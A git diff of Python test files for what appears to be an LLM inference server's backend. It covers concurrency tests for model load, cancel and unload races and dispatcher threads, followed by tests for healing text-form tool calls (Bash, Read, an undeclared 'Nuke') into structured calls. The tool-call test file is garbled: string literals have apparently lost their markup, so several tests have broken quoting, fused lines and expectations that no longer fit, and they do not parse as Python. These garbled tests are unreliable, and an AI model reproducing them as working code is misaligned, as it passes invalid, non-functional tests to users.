monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout)) + monkeypatch.setattr( + o, + "_wait_response", + lambda t, timeout = 300.0: pytest.fail( + "must not wait for 'loaded' after a cancel during spawn" + ), + ) + + ok = o.load_model(types.SimpleNamespace(identifier = "m", gguf_variant = None)) + + assert ok is False + assert shutdown, "must tear the orphaned worker down" + assert o.active_model_name is None + assert o.models == {} + assert "m" not in o.loading_models + + +# ---------------------------------------------------------------------------- +# /unload cancels a still-loading GGUF off the lifecycle gate -- item #1. +# ---------------------------------------------------------------------------- + + +def test_unload_cancels_loading_gguf_off_gate(monkeypatch): + # A still-loading GGUF (is_active, not is_loaded) must be cancelled off the gate: + # /load holds the lifecycle gate for the whole load, so a gated unload would wait + # it out. Assert the gate is never entered and unload_model() runs. + import asyncio as _asyncio + + import routes.inference as ri + from core.inference import llama_keepwarm + + gate_entered = {"v": False} + + class _Gate: + async def __aenter__(self): + gate_entered["v"] = True + return self + + async def __aexit__(self, *a): + return False + + class _LlamaBackend: + is_active = True + is_loaded = False + model_identifier = "gguf-model" + + def __init__(self): + self.unloaded = False + + def unload_model(self): + self.unloaded = True + + llama = _LlamaBackend() + + class _Unsloth: + def get_loading_model(self): + return None # no Unsloth load in flight -> Unsloth fast path skipped + + monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth()) + monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate()) + monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None) + + req = ri.UnloadRequest(model_path = "gguf-model") + resp = _asyncio.run(ri.unload_model(req, current_subject = "s")) + + assert getattr(resp, "status", None) == "unloaded" + assert llama.unloaded is True, "must cancel the loading GGUF via unload_model()" + assert gate_entered["v"] is False, "must handle the loading GGUF off the lifecycle gate" + + +def test_unload_loaded_gguf_still_uses_gate(monkeypatch): + # Guard: an already-loaded GGUF (is_loaded True) is NOT caught by the off-gate + # fast path; it goes through the gate as before. + import asyncio as _asyncio + + import routes.inference as ri + from core.inference import llama_keepwarm + + gate_entered = {"v": False} + + class _Gate: + async def __aenter__(self): + gate_entered["v"] = True + return self + + async def __aexit__(self, *a): + return False + + class _LlamaBackend: + is_active = True + is_loaded = True + model_identifier = "gguf-model" + + def __init__(self): + self.unloaded = False + + def unload_model(self): + self.unloaded = True + + llama = _LlamaBackend() + + class _Unsloth: + def get_loading_model(self): + return None + + monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth()) + monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False) + monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate()) + monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None) + + req = ri.UnloadRequest(model_path = "gguf-model") + resp = _asyncio.run(ri.unload_model(req, current_subject = "s")) + + assert getattr(resp, "status", None) == "unloaded" + assert llama.unloaded is True + assert gate_entered["v"] is True, "loaded GGUF unload must still take the gate" + + +def test_unload_of_mismatched_loading_gguf_skips_off_gate_fast_path(monkeypatch): + # A still-loading GGUF X (is_active, not is_loaded) must NOT be torn down by the + # off-gate fast path when /unload names a DIFFERENT model Y. The single llama-server + # can only load one GGUF at a time, so this fast path is "stop loading THIS model"; + # without a target check it fires for any in-flight GGUF and would abort an unrelated + # load (e.g. a second tab unloading Y kills the load of X). A mismatched target must + # fall through to the lifecycle gate (where, in production, it waits out X's /load and + # then no-ops) instead of taking the off-gate teardown. + import asyncio as _asyncio + + import routes.inference as ri + from core.inference import llama_keepwarm + + gate_entered = {"v": False} + + class _Gate: + async def __aenter__(self): + gate_entered["v"] = True + return self + + async def __aexit__(self, *a): + return False + + class _LlamaBackend: + is_active = True + is_loaded = False + model_identifier = "gguf-X" + + def __init__(self): + self.unloaded = False + + def unload_model(self): + self.unloaded = True + + llama = _LlamaBackend() + + class _Unsloth: + def get_loading_model(self): + return None # no Unsloth load in flight -> Unsloth fast path skipped + + monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth()) + monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False) + monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate()) + monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None) + + req = ri.UnloadRequest(model_path = "gguf-Y") # different from the loading model X + _asyncio.run(ri.unload_model(req, current_subject = "s")) + + assert gate_entered["v"] is True, ( + "a mismatched-target unload must not use the off-gate GGUF fast path; " + "it would cancel the wrong in-flight load" + ) + + +# ---------------------------------------------------------------------------- +# cancel_load clears its loading marker BEFORE tearing the subprocess down, so a +# racing off-gate load_model observes the cancel during the shutdown window. +# ---------------------------------------------------------------------------- + + +def test_cancel_load_clears_marker_before_shutdown(monkeypatch): + # cancel_load runs off the lifecycle gate, concurrently with a load_model that + # rechecks the loading marker before each spawn to observe the cancel. + # _shutdown_subprocess can block (tearing a live child down / joining the compare + # dispatcher), so discarding the marker only AFTER it leaves a long window in which + # that load_model reads the marker still set, passes its pre-spawn recheck, and + # spawns + loads the model after /unload already reported it cancelled. The marker + # (and local state) must be cleared before the teardown. + o = _bare_orchestrator() + o.loading_models = {"m"} + o.active_model_name = "m" + o.models = {"m": {}} + + at_shutdown = {} + + def record_shutdown(timeout = 5): + at_shutdown["marker_present"] = "m" in o.loading_models + at_shutdown["active"] = o.active_model_name + at_shutdown["models"] = dict(o.models) + + monkeypatch.setattr(o, "_shutdown_subprocess", record_shutdown) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command") + ) + + assert o.cancel_load("m") is True + assert at_shutdown.get("marker_present") is False, ( + "the loading marker must be cleared before _shutdown_subprocess so a concurrent " + "load_model pre-spawn recheck observes the cancel during the shutdown window" + ) + assert at_shutdown.get("active") is None + assert at_shutdown.get("models") == {} + assert "m" not in o.loading_models + assert o.active_model_name is None + assert o.models == {} + + +def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown(monkeypatch): + # cancel_load (off the lifecycle gate) can race a load_model whose worker already + # queued its successful "loaded" reply. cancel_load discards the loading marker and + # clears the local mirrors, then tears the subprocess down; but the still-running + # load_model thread can consume that "loaded" DURING the teardown window and repopulate + # active_model_name/models. _shutdown_subprocess nulls the queues but never touches those + # mirrors, so without a second clear /unload reports success while the backend keeps + # advertising a model whose worker was just killed. cancel_load must re-clear after the + # teardown so no phantom loaded model survives. + import types + + from utils import transformers_version as _tv + + o = _bare_orchestrator() + o.loading_models = {"m"} + o.active_model_name = None + o.models = {} + o._proc = None # no prior subprocess -> load_model goes straight to the spawn loop + + monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False) + monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {})) + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False) + monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None) + + parked = threading.Event() # load_model is parked in _wait_response("loaded") + release_loaded = threading.Event() # cancel_load lets the load consume "loaded" + load_done = threading.Event() + + def blocking_wait_response(expected, timeout = 300.0): + parked.set() + assert release_loaded.wait(timeout = 5) + return { + "type": "loaded", + "success": True, + "model_info": {"identifier": "m", "display_name": "m"}, + } + + monkeypatch.setattr(o, "_wait_response", blocking_wait_response) + + load_result: dict = {} + + def run_load(): + try: + load_result["ok"] = o.load_model( + types.SimpleNamespace(identifier = "m", gguf_variant = None) + ) + except Exception as exc: # noqa: BLE001 + load_result["exc"] = exc + finally: + load_done.set() + + loader = threading.Thread(target = run_load) + loader.start() + assert parked.wait(timeout = 5), "load_model must reach _wait_response" + + # The teardown IS the window in which the racing load repopulates the mirrors: the + # marker is already discarded here, so release the load and wait for it to finish + # repopulating, mirroring the 0.5s cancel-settle inside the real _shutdown_subprocess. + def racing_shutdown(timeout = 0.5): + release_loaded.set() + assert load_done.wait(timeout = 5), "the racing load must repopulate during teardown" + + monkeypatch.setattr(o, "_shutdown_subprocess", racing_shutdown) + + assert o.cancel_load("m") is True + loader.join(timeout = 5) + + # Fail-without: load_model set active_model_name/models during racing_shutdown and + # cancel_load left them set, so the backend advertises a model whose worker was killed. + assert o.active_model_name is None, "cancel_load must not leave a repopulated active model" + assert o.models == {}, "cancel_load must not leave a repopulated models mirror" + assert "m" not in o.loading_models + + +# ---------------------------------------------------------------------------- +# A dispatched (compare-mode) request that starts the dispatcher and then bails on +# a racing unload must stop the dispatcher it started, or that orphaned dispatcher +# steals the worker's "unloaded" reply and hangs unload_model on its 300s timeout. +# ---------------------------------------------------------------------------- + + +def test_dispatched_bail_stops_orphan_dispatcher_it_started(monkeypatch): + # The request passes the pre-work _unload_pending check and starts the dispatcher + # (none was running), then an unload sets _unload_pending so the under-lock recheck + # bails. The just-started dispatcher, left running with no mailboxes, competes with + # unload_model()'s _wait_response for the worker's "unloaded" reply off the shared + # resp_queue and drops it as unroutable, hanging the unload until its 300s timeout. + # The bail must stop the dispatcher it started. + o = _bare_orchestrator() + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._unload_pending = False + o._dispatcher_thread = None # none running -> this call starts it + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + + started = {"v": False} + stopped = {"v": False} + + def fake_start(): + started["v"] = True + o._dispatcher_thread = _AliveDispatcher() + return True # _start_dispatcher returns True for the caller that spawned it + + def fake_stop(): + stopped["v"] = True + o._dispatcher_thread = None + + monkeypatch.setattr(o, "_start_dispatcher", fake_start) + monkeypatch.setattr(o, "_stop_dispatcher", fake_stop) + + # An unload flips _unload_pending after the pre-work check but before registration. + def flip(*a, **k): + o._unload_pending = True + return {"type": "generate", "request_id": "r1"} + + monkeypatch.setattr(o, "_build_generate_cmd", flip) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped") + ) + + out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) + + assert any("unloaded" in chunk.lower() for chunk in out) + assert started["v"], "this call started the dispatcher" + assert stopped["v"], "the bail must stop the dispatcher it started (no other mailboxes)" + assert o._mailboxes == {} + + +def test_dispatched_bail_keeps_dispatcher_with_other_active_mailbox(monkeypatch): + # Guard against over-stopping: if another compare request registered a mailbox on the + # dispatcher this call started, the bail must NOT stop it, or that request's token + # routing dies mid-stream. + o = _bare_orchestrator() + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._unload_pending = False + o._dispatcher_thread = None + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr( + o, "_start_dispatcher", lambda: setattr(o, "_dispatcher_thread", _AliveDispatcher()) + ) + monkeypatch.setattr( + o, + "_stop_dispatcher", + lambda: pytest.fail("must not stop a dispatcher another compare request is using"), + ) + + # A concurrent compare request registers its mailbox, then an unload flips the flag. + def flip(*a, **k): + o._mailboxes["other"] = object() + o._unload_pending = True + return {"type": "generate", "request_id": "r1"} + + monkeypatch.setattr(o, "_build_generate_cmd", flip) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped") + ) + + out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) + + assert any("unloaded" in chunk.lower() for chunk in out) + assert set(o._mailboxes) == {"other"}, "the other request's mailbox is untouched" + + +def test_dispatched_bail_keeps_preexisting_dispatcher(monkeypatch): + # Guard: if the dispatcher was already running before this request (an earlier compare + # request started it), a bail must not stop it even with no mailboxes now -- this + # request did not start it and another may re-use it. Only the call that starts an + # otherwise-idle dispatcher during the race is responsible for stopping it. + o = _bare_orchestrator() + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._unload_pending = False + o._dispatcher_thread = _AliveDispatcher() # already running + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True) + monkeypatch.setattr(o, "_start_dispatcher", lambda: None) + monkeypatch.setattr( + o, "_stop_dispatcher", lambda: pytest.fail("must not stop a pre-existing dispatcher") + ) + + def flip(*a, **k): + o._unload_pending = True + return {"type": "generate", "request_id": "r1"} + + monkeypatch.setattr(o, "_build_generate_cmd", flip) + monkeypatch.setattr( + o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped") + ) + + out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}])) + + assert any("unloaded" in chunk.lower() for chunk in out) + + +# ---------------------------------------------------------------------------- +# load_model rechecks the loading marker AFTER _wait_response("loaded") and +# BEFORE publishing -- item #6. cancel_load's post-teardown re-clear only wipes a +# repopulation that lands during its shutdown; a publish that lands after +# cancel_load returns survives it, so the recheck must abort the publish itself. +# ---------------------------------------------------------------------------- + + +def test_load_model_aborts_publish_when_cancelled_after_wait_response(monkeypatch): + # cancel_load (off the lifecycle gate) discards the loading marker BEFORE its teardown + # and re-clears the mirrors AFTER it. A racing load_model can consume its worker's + # already-queued "loaded" reply and reach the publish block only AFTER cancel_load has + # fully returned -- so cancel_load's post-teardown re-clear cannot undo that publish. + # Without a marker recheck between _wait_response("loaded") and the publish, load_model + # advertises active_model_name/models for a model /unload already reported cancelled, + # over a subprocess cancel_load just killed. The recheck must observe the discarded + # marker and abort the publish. + import types + + from utils import transformers_version as _tv + + o = _bare_orchestrator() + o.loading_models = {"m"} + o.active_model_name = None + o.models = {} + o._proc = None # no prior subprocess -> load_model goes straight to the spawn loop + + monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False) + monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {})) + monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False) + monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None) + # cancel_load tears the worker down; a no-op keeps the test off real subprocesses. + monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None) + + parked = threading.Event() # load_model reached _wait_response("loaded") + cancel_done = threading.Event() # cancel_load fully returned (marker discarded + re-clear) + load_done = threading.Event() + + def blocking_wait_response(expected, timeout = 300.0): + parked.set() + # Do not consume "loaded" until cancel_load has fully returned, so the publish + # would land AFTER cancel_load's post-teardown re-clear -- the window the + # re-clear alone cannot cover. + assert cancel_done.wait(timeout = 5) + return { + "type": "loaded", + "success": True, + "model_info": {"identifier": "m", "display_name": "m"}, + } + + monkeypatch.setattr(o, "_wait_response", blocking_wait_response) + + load_result: dict = {} + + def run_load(): + try: + load_result["ok"] = o.load_model( + types.SimpleNamespace(identifier = "m", gguf_variant = None) + ) + except Exception as exc: # noqa: BLE001 + load_result["exc"] = exc + finally: + load_done.set() + + loader = threading.Thread(target = run_load) + loader.start() + assert parked.wait(timeout = 5), "load_model must reach _wait_response" + + # cancel_load runs to completion while the load is parked: it discards the marker and + # re-clears the mirrors (post-teardown), then returns. Only then let the load consume + # "loaded" and attempt to publish. + assert o.cancel_load("m") is True + cancel_done.set() + + loader.join(timeout = 5) + assert load_done.is_set() + + # Fail-without: load_model published active_model_name/models for 'm' AFTER cancel_load + # returned, advertising a cancelled model over a killed subprocess. + assert load_result.get("ok") is False, "the cancelled load must not report success" + assert o.active_model_name is None, "must not publish a cancelled model's active name" + assert o.models == {}, "must not publish a cancelled model's mirror" + assert "m" not in o.loading_models + + +# ---------------------------------------------------------------------------- +# Concurrent compare-mode requests must not each spawn a dispatcher. Compare mode +# (_generate_dispatched) deliberately bypasses _gen_lock, so two requests can reach +# _start_dispatcher at once. Without _dispatcher_lifecycle_lock the check-then-spawn +# races: both observe no live dispatcher and each start one. The extra dispatcher is +# orphaned (self._dispatcher_thread tracks only the last) and later consumes the +# "unloaded" reply off the shared resp_queue before unload_model's _wait_response, +# hanging the unload on its 300s timeout. The lifecycle lock must serialize the +# check-then-spawn so exactly one dispatcher thread is ever created. +# ---------------------------------------------------------------------------- + + +def test_concurrent_start_dispatcher_spawns_exactly_one(): + import queue as _queue + + o = _bare_orchestrator() + o._resp_queue = _queue.Queue() # real queue so the dispatcher loop blocks and stays alive + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._dispatcher_thread = None + o._dispatcher_stop = threading.Event() + o._dispatcher_lifecycle_lock = threading.Lock() + + n = 32 + # A barrier aligns every thread on the check-then-spawn window: without the lifecycle + # lock several would clear the "is a dispatcher alive?" check together and each spawn one. + barrier = threading.Barrier(n) + results: list = [] + results_lock = threading.Lock() + + def racer(): + barrier.wait() + started = o._start_dispatcher() + with results_lock: + results.append(started) + + threads = [threading.Thread(target = racer, name = f"racer-{i}") for i in range(n)] + for t in threads: + t.start() + for t in threads: + t.join(timeout = 5) + + try: + # _start_dispatcher returns True only for the caller that actually spawned a thread. + # Exactly one caller may win; every other must observe the dispatcher alive and bail. + assert results.count(True) == 1, f"expected exactly one spawn, got {results.count(True)}" + assert results.count(False) == n - 1 + # And exactly one live dispatcher thread exists -- no orphan racing resp_queue. + live = [ + t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive() + ] + assert len(live) == 1, f"expected one live dispatcher, found {len(live)}" + assert o._dispatcher_thread is live[0] + finally: + o._stop_dispatcher() + + # Stop joins and clears it; no dispatcher thread must survive. + assert o._dispatcher_thread is None + remaining = [ + t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive() + ] + assert remaining == [], "dispatcher must be stopped and joined" + + +# ---------------------------------------------------------------------------- +# A compare request whose _start_dispatcher is queued behind an unload's +# _stop_dispatcher must NOT spawn a fresh dispatcher. The idle-dispatcher stop +# and the queued start both serialize on _dispatcher_lifecycle_lock; if the +# queued start spawned a new dispatcher after the stop, it would become the +# resp_queue reader and consume unload_model's "unloaded" reply (unroutable, so +# dropped) before _wait_response saw it -- hanging the unload on its 300s +# timeout. unload_model sets _unload_pending under the SAME lifecycle lock ahead +# of the stop, so _start_dispatcher observes it and refuses. +# ---------------------------------------------------------------------------- + + +def test_start_dispatcher_refuses_while_unload_pending(): + # Direct unit guard: with an unload in progress (_unload_pending set under the + # lifecycle lock by unload_model), _start_dispatcher must refuse and spawn nothing, + # even though no dispatcher is currently running. + import queue as _queue + + o = _bare_orchestrator() + o._resp_queue = _queue.Queue() # a spawned dispatcher would block-read here and stay alive + o._dispatcher_thread = None + o._dispatcher_stop = threading.Event() + o._dispatcher_lifecycle_lock = threading.Lock() + o._unload_pending = True + + started = o._start_dispatcher() + + assert started is False, "must not start a dispatcher while an unload is pending" + assert o._dispatcher_thread is None, "no dispatcher thread may be created" + live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()] + assert live == [], "no dispatcher may exist to consume the unloaded reply" + + +def test_start_dispatcher_resumes_after_unload_clears(): + # Guard the other direction: once the unload finishes and clears _unload_pending, a + # later compare request must be able to start the dispatcher again (the gate must not + # wedge). Proves the refusal above is scoped to the unload, not permanent. + import queue as _queue + + o = _bare_orchestrator() + o._resp_queue = _queue.Queue() + o._dispatcher_thread = None + o._dispatcher_stop = threading.Event() + o._dispatcher_lifecycle_lock = threading.Lock() + o._unload_pending = False + + try: + assert ( + o._start_dispatcher() is True + ), "a fresh dispatcher must start once no unload is pending" + assert o._dispatcher_thread is not None and o._dispatcher_thread.is_alive() + finally: + o._stop_dispatcher() + + assert o._dispatcher_thread is None + + +def test_queued_start_behind_unload_stop_spawns_no_dispatcher(): + # Codex's exact ordering, forced deterministically: an unload holds + # _dispatcher_lifecycle_lock across its _stop_dispatcher (the idle dispatcher's join + # is gated by an event), while a compare request's _start_dispatcher is queued behind + # it on the same lock. When the stop releases the lock the queued start must observe + # _unload_pending (set under the lock ahead of the stop) and refuse: no fresh + # dispatcher may be left running to steal the "unloaded" reply. + import queue as _queue + + o = _bare_orchestrator() + o._resp_queue = _queue.Queue() # a spawned dispatcher would block-read here and stay alive + o._mailbox_lock = threading.Lock() + o._mailboxes = {} + o._dispatcher_stop = threading.Event() + o._dispatcher_lifecycle_lock = threading.Lock() + o._unload_pending = False + + start_queued = threading.Event() # release the stop's join once the start is queued behind it + join_may_finish = threading.Event() + + class _IdleDispatcher: + # Stand-in for the idle compare-mode dispatcher the unload stops. Its join blocks + # until we confirm the compare _start_dispatcher is queued behind the stop, so the + # stop provably holds _dispatcher_lifecycle_lock across that window. + def is_alive(self): + return True + + def join(self, timeout = None): + assert start_queued.wait(timeout = 5), "compare start must queue behind the stop" + assert join_may_finish.wait(timeout = 5) + + o._dispatcher_thread = _IdleDispatcher() + + def unload_side(): + # unload_model's sequence: set _unload_pending under the lifecycle lock, then stop + # the idle dispatcher (also under the lock, via _wait_dispatcher_idle). + with o._dispatcher_lifecycle_lock: + o._unload_pending = True + o._stop_dispatcher() + + started_result = {} + + def compare_side(): + started_result["v"] = o._start_dispatcher() + + u = threading.Thread(target = unload_side, name = "unload-side") + u.start() + # Let the unload set _unload_pending, enter _stop_dispatcher, and block in the gated join + # while holding the lifecycle lock. + time.sleep(0.2) + + c = threading.Thread(target = compare_side, name = "compare-side") + c.start() + # Let the compare _start_dispatcher block on the lifecycle lock (queued behind the stop). + time.sleep(0.2) + + start_queued.set() # the start is now queued behind the stop + join_may_finish.set() # let the stop's join complete and release the lock + + u.join(timeout = 5) + c.join(timeout = 5) + + assert started_result.get("v") is False, "the queued start must refuse while unloading" + assert o._dispatcher_thread is None, "the stop cleared it and the queued start spawned nothing" + live = [t for t in threading.enumerate() if t.name == "inference-dispatcher" and t.is_alive()] + assert live == [], "no fresh dispatcher may be left to consume the unloaded reply" diff --git a/studio/backend/tests/test_passthrough_healing.py b/studio/backend/tests/test_passthrough_healing.py new file mode 100644 index 0000000000..9b22ab8b05 --- /dev/null +++ b/studio/backend/tests/test_passthrough_healing.py @@ -0,0 +1,1448 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Unit tests for core/inference/passthrough_healing.py: promoting text-form +tool calls back into structured calls on the client-tool passthrough. The +route-level wiring (OpenAI / Anthropic / Responses endpoints) is covered in +their own endpoint test files; this file exercises the shared state machine +and helpers directly. +""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path + +import pytest + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +from core.inference.passthrough_healing import ( # noqa: E402 + StreamToolCallHealer, + heal_gate, + heal_openai_message, + nudge_messages, + nudge_should_retry, + response_has_promotable_calls, +) + +TOOLS = [ + {"type": "function", "function": {"name": "Bash", "parameters": {}}}, + {"type": "function", "function": {"name": "Read", "parameters": {}}}, +] + +BASH_COMMAND_TOOL = { + "type": "function", + "function": { + "name": "Bash", + "parameters": { + "type": "object", + "properties": {"command": {"type": "string"}}, + "required": ["command"], + }, + }, +} +XML_BASH = '{"name":"Bash","arguments":{"cmd":"ls"}}' +XML_UNDECLARED = '{"name":"Nuke","arguments":{}}' + + +def _events_text(events): + return "".join(text for kind, text in events if kind == "text") + + +def _events_calls(events): + return [call for kind, call in events if kind == "tool_call"] + + +class TestHealGate: + def test_returns_declared_names(self): + assert heal_gate(None, TOOLS) == {"Bash", "Read"} + assert heal_gate(True, TOOLS) == {"Bash", "Read"} + + def test_opt_out_and_no_tools(self): + assert heal_gate(False, TOOLS) is None + assert heal_gate(None, []) is None + assert heal_gate(None, None) is None + + def test_malformed_tool_entries_ignored(self): + assert heal_gate(None, ["nonsense", {"function": "x"}, {}]) is None + + def test_tool_choice_none_disables(self): + assert heal_gate(None, TOOLS, "none") is None + + def test_tool_choice_forced_function_narrows_allowlist(self): + forced = {"type": "function", "function": {"name": "Bash"}} + assert heal_gate(None, TOOLS, forced) == {"Bash"} + + def test_tool_choice_forced_undeclared_function_disables(self): + forced = {"type": "function", "function": {"name": "Nuke"}} + assert heal_gate(None, TOOLS, forced) is None + + def test_tool_choice_auto_and_required_keep_full_set(self): + assert heal_gate(None, TOOLS, "auto") == {"Bash", "Read"} + assert heal_gate(None, TOOLS, "required") == {"Bash", "Read"} + + def test_tool_choice_unrecognized_dict_keeps_full_set(self): + assert heal_gate(None, TOOLS, {"type": "function"}) == {"Bash", "Read"} + + +class TestHealOpenaiMessage: + def test_promotes_xml_and_strips_content(self): + msg = {"role": "assistant", "content": XML_BASH} + assert heal_openai_message(msg, {"Bash"}) is True + assert msg["content"] is None + (call,) = msg["tool_calls"] + assert call["function"]["name"] == "Bash" + assert json.loads(call["function"]["arguments"]) == {"cmd": "ls"} + + def test_keeps_surrounding_prose(self): + msg = {"role": "assistant", "content": f"Let me check.\n{XML_BASH}"} + assert heal_openai_message(msg, {"Bash"}) is True + assert msg["content"] == "Let me check." + + def test_undeclared_name_not_promoted(self): + msg = {"role": "assistant", "content": XML_UNDECLARED} + assert heal_openai_message(msg, {"Bash"}) is False + assert msg["content"] == XML_UNDECLARED + assert "tool_calls" not in msg + + def test_structured_calls_untouched(self): + msg = {"role": "assistant", "content": XML_BASH, "tool_calls": [{"id": "x"}]} + assert heal_openai_message(msg, {"Bash"}) is False + assert msg["content"] == XML_BASH + + def test_prose_only_untouched(self): + msg = {"role": "assistant", "content": "just an answer"} + assert heal_openai_message(msg, {"Bash"}) is False + + def test_bare_string_arguments_use_schema_key(self): + msg = { + "role": "assistant", + "content": '{"name":"Bash","arguments":"echo hi"}', + } + assert heal_openai_message(msg, {"Bash"}, [BASH_COMMAND_TOOL]) is True + args = json.loads(msg["tool_calls"][0]["function"]["arguments"]) + assert args == {"command": "echo hi"} + + def test_bare_string_arguments_decline_ambiguous_schema(self): + msg = { + "role": "assistant", + "content": '{"name":"Bash","arguments":"echo hi"}', + } + assert heal_openai_message(msg, {"Bash"}, TOOLS) is False + assert "tool_calls" not in msg + + def test_mixed_declared_and_undeclared_promotes_declared_keeps_undeclared_text(self): + # Span-exact removal: only the promoted Bash markup is dropped; the + # undeclared Nuke call's text stays in the content byte-intact. + content = f"pre {XML_BASH} mid {XML_UNDECLARED} post" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + (call,) = msg["tool_calls"] + assert call["function"]["name"] == "Bash" + assert XML_UNDECLARED in msg["content"] + assert "pre" in msg["content"] and "post" in msg["content"] + assert XML_BASH not in msg["content"] + + def test_multiple_declared_calls_all_promoted(self): + content = f"{XML_BASH} and {XML_BASH}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + assert len(msg["tool_calls"]) == 2 + + def test_mixed_formats_promote_in_document_order(self): + func_read = "a.txt" + content = f"{func_read} then {XML_BASH}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash", "Read"}) is True + assert [call["function"]["name"] for call in msg["tool_calls"]] == ["Read", "Bash"] + assert msg["content"] == "then" + + def test_unparseable_closed_block_not_deleted(self): + # A closed block whose body never parses is model output, + # not a promotable call; it must survive promotion of its neighbor. + garbage = "not json at all" + content = f"{XML_BASH} {garbage}" + msg = {"role": "assistant", "content": content} + assert heal_openai_message(msg, {"Bash"}) is True + assert garbage in msg["content"] + + +class TestStreamHealer: + def test_plain_text_passes_through(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("hello ") + healer.feed("world") + healer.finalize() + assert _events_text(events) == "hello world" + assert not _events_calls(events) + + def test_complete_call_in_one_chunk(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"On it. {XML_BASH}") + healer.finalize() + assert _events_text(events) == "On it. " + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + assert healer.healed + + def test_signal_split_across_chunks(self): + healer = StreamToolCallHealer({"Bash"}) + events = [] + for piece in ["{"name":"Bash",', '"arguments":{}}']: + events += healer.feed(piece) + events += healer.finalize() + assert _events_text(events) == "" + assert len(_events_calls(events)) == 1 + + def test_closed_malformed_tool_block_flushes_immediately(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("not json after") + assert _events_text(events) == "not json after" + assert not _events_calls(events) + + def test_mixed_formats_stream_in_document_order(self): + healer = StreamToolCallHealer({"Bash", "Read"}) + func_read = "a.txt" + events = healer.feed(f"{func_read} then {XML_BASH}") + healer.finalize() + assert [call["function"]["name"] for call in _events_calls(events)] == ["Read", "Bash"] + assert _events_text(events).strip() == "then" + + def test_false_alarm_html_flushes(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("use the
tag") + healer.finalize() + assert _events_text(events) == "use the
tag" + assert not _events_calls(events) + + def test_partial_signal_tail_held_then_flushed_at_end(self): + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed("trailing text -> call B, never both calls then the text. + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_BASH} middle {XML_BASH}") + healer.finalize() + kinds = [k for k, _ in events] + assert kinds == ["tool_call", "text", "tool_call"] + assert events[1][1] == " middle " + + def test_undeclared_then_declared_keeps_document_order(self): + # The undeclared block precedes the declared call; its raw text must + # be emitted BEFORE the promoted call event, never after. + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_UNDECLARED} then {XML_BASH}") + healer.finalize() + kinds = [k for k, _ in events] + assert kinds.index("tool_call") == len(kinds) - 1 + (call,) = _events_calls(events) + assert call["function"]["name"] == "Bash" + assert XML_UNDECLARED in _events_text(events) + + def test_declared_promoted_then_late_undeclared_flushes_raw(self): + # Streaming causality: the declared call completed and was already + # emitted before the undeclared one arrived. The undeclared markup + # must still reach the client as raw text (no data loss). + healer = StreamToolCallHealer({"Bash"}) + events = healer.feed(f"{XML_BASH} then ") + assert len(_events_calls(events)) == 1 + events += healer.feed(XML_UNDECLARED) + healer.finalize() + assert XML_UNDECLARED in _events_text(events) + assert len(_events_calls(events)) == 1 + + def test_undeclared_tool_flushes_raw(self): + healer = 